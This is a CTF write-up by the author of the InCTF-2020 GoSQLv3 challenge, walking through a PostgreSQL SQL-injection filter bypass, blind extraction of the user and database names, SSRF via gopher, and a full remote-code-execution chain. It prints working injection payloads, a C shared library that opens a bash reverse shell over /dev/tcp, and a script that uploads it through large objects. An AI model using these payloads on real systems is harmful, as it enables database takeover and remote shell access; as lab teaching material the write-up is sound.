InCTF-2020 GoSQLv3 challenge writeup

Hey, I am SpyD3r(@TarunkantG) and in this blog I will be discussing GoSQLv3 challenge that I made for InCTF-2020 and a lot of SQLi tricks.
The GoSQLv3 challenge got 8 solves but I would say the only one full solve that was RCE by the EpicLeetTeam(Congratulations for the first blood) but mistakenly the team has saved the flag on one of the table and most of the team just read the flag from that table.

This challenge was next version of last year’s GoSQLv2, you can take a look at the writeup here. This time also the challenge was based on the previous methodology, so it was meant that you knew what to do and how to go forward in the challenge, So only thing you need to do is exploit SQLi(2 times)+SSRF(Prev Esc to superuser+Create a function) and that will lead you to RCE. Before reading this writeup I suggest you to read last year writeup first.
This challenge is just little different from the last year, the thing is, this time I have used postgreSQL instead of MySQL so you have to use postgreSQL tricks to get admin and the different exploit to get database name(current_database()) and postgres Username(current_user).

There is one more thing, this time you can not use Gopherus for doing SSRF because the Gopherus tool doesn’t have postgreSQL exploit, so you have to generate gopher exploit manually.

Announcing a new version of Gopherus which contains PostgreSQL exploit, so start doing git pull.

Okay, so let’s start solving this challenge

There is two place where user can input, name and column.

Phase-1: Being the admin

You would have obviously figured out that the column name is username and go_to by checking the source.

1
2
3
4
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}

But the problem is you can not use username and go_to directly because it is blacklisted.

Trick-1

1
2
select username from inctf2020;
select U&"\0075\0073\0065\0072\006e\0061\006d\0065" from inctf2020;

Both will return the same, username column.

Now you have to also bypass the admin keyword because that is also blacklisted, so what if we concatenate strings that make admin keyword. But again we can not use ‘ (Single Quote) because it is blacklisted too. If you are familiar with PostgreSQL then you would know that in postgreSQL double quoted(“) string is treated as column name, so we have find out the alternative of single quote (‘) for concatenating.

Trick-2

1
2
select 'tarunkant';
select $$tarunkant$$;

Both has the same output.

Double pipes in PostgreSQL is used for concatenation where in MySQL it is used as the alternative for OR

Trick-3

1
select 'tarun'||'kant';  // output: tarunkant

So the final payload will be for going to admin page is:

1
/?name=$$a$$||$$dmi$$||$$n$$&column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"

Because you have to use both the columns username and go_to for going to admin page.

Retrieving postgres username and database name

So you have to exploit same challenge again for retrieving those data.

For getting username:

There exist booleans based SQL injection on column parameter.

Final payload:

1
/?name=$$a$$||$$dmi$$||$$n$$&column=power((case%0awhen%0a(lpad(current_user,1,$$$$)=$$h$$)%0athen%0a1%0aelse%0a0%0aend)%2B1,222222222222222222);%00

Let’s dive into the SQLi

1
power((case when (lpad(current_user,1,$$$$)=$$h$$) then 1 else end)+1,222222222222222222);

So if above command will create error then that input is true else wrong. That’s how you can retrieve the current username by small bruteforce.

For getting database name:

It is basically same, you only need to change current_user to current_database()
Final payload:

1
/?name=$$a$$||$$dmi$$||$$n$$&column=power((case%0awhen%0a(lpad(current_database(),1,$$$$)=$$g$$)%0athen%0a1%0aelse%0a0%0aend)%2B1,222222222222222222);%00

You can find the script here which will give you the postgres username and database name.

Phase-2: SSRF

As I said gopherus does not have postgresql exploit, so you have to first create a user which is not protected with the password then you have to collect the packets from wireshark. The thing is you have to use python or any other script(with ssl=disable) for collecting decrypted packets or else the packets would be encrypted.

1
2
3
4
5
6
7
8
def send(payload):                                                                                           
query = payload
con = psycopg2.connect(host="127.0.0.1", database="gosqlv3", user="postgres", sslmode="disable")
con.autocommit=True
curson=con.cursor()
curson.execute(query)
print curson.fetchall()

After that you get the packets, convert them into gopher format.

Now, after the CTF you can also use update Gopherus too to generate postgreSQL exploit.

Now if you have the gopher formatted exploit, you can use that to do SSRF on the application.

Now these are the steps you need to follow that will lead you to RCE:

  1. Check the user privileges:

    1
    SELECT r.rolname, r.rolsuper, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof FROM pg_catalog.pg_roles r WHERE r.rolname !~ '^pg_ 'ORDER BY 1;

    The above command is an alternative for \du.
    the output would be:

    | rolname | rolsuper | memberof |
    |———-|:————-:|——:|
    | honeysingh | f | {inctf} |
    | inctf | t | {} |
    | postgres | t | {} |

So from this you can see that user honeysingh is member of inctf which has superuser privileges. So for querying as superuser you have to put set role inctf; before making any superuser query.

  1. Now you have to create functions, which needs superuser role.
  2. For creating function there should be binary file at system from where you will import the function. So now next task is to upload a binary on the application.
  3. Create a exploit.c file:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include "postgres.h"
    #include "fmgr.h"
    #include <stdlib.h>

    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif

    text *exec()
    {
    system("bash -c 'sh -i >& /dev/tcp/127.0.0.1/1234 0>&1'");
    }
  4. Compile exploit.c

    1
    gcc exploit.c -I`pg_config --includedir-server` -fPIC -shared -o exploit.so
  5. Now covert that binary into byte

    1
    cat exploit.so | xxd -ps | tr -d "\n" > a.txt		--> will give you the bytes of the .so file
  6. Now convert those into blocks so that we can send those to the application

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import sys
    from random import randint
    number = randint(1000, 9999)

    if __name__ == "__main__":
    if len(sys.argv) != 2:
    print "Usage:python " + sys.argv[0] + "inputfile"
    sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    t = -1
    s = ''
    for b in fileobj.read():
    i = i + 1
    s += b
    if i % 4096 == 0:
    t = t + 1
    print 'insert into pg_largeobject values ({number}, {block}, decode(
    \'{payload}\',\'hex\'));\n'\
    .format(number=number, block=t, payload=s)
    s = ''
    fileobj.close()

    Run:

    1
    python test.py a.txt  --> will convert the bytes into blocks that is supported by the postgreSQL
  7. Generate payload for the following queries in the order and submit in the application:

    • set role inctf;SELECT lo_create(1635); // here 1635 is random number generated by the test.py. This command will create a loid in the application.
    • Use all the queries outputed by test.py // Prefix with set role inctf;. From this command you will put bytes of your malicious binary on the loid.
    • set role inctf;SELECT lo_export(1635, '/tmp/exploit.so'); // Now you are exporting the loid data back again to .so file and that’s how you can upload any binary/file to the application.
    • set role inctf;CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/exploit.so', 'exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; // Now you are creating a function importing from the malicious binary.
    • select sys_eval('id'); // Executing the binary
  1. Now you would see the you just got reverse shell in your server.
  2. cd /;./readFlag

I hope you guys had fun playing InCTF and solving this challenge and also hope you would have learned something new.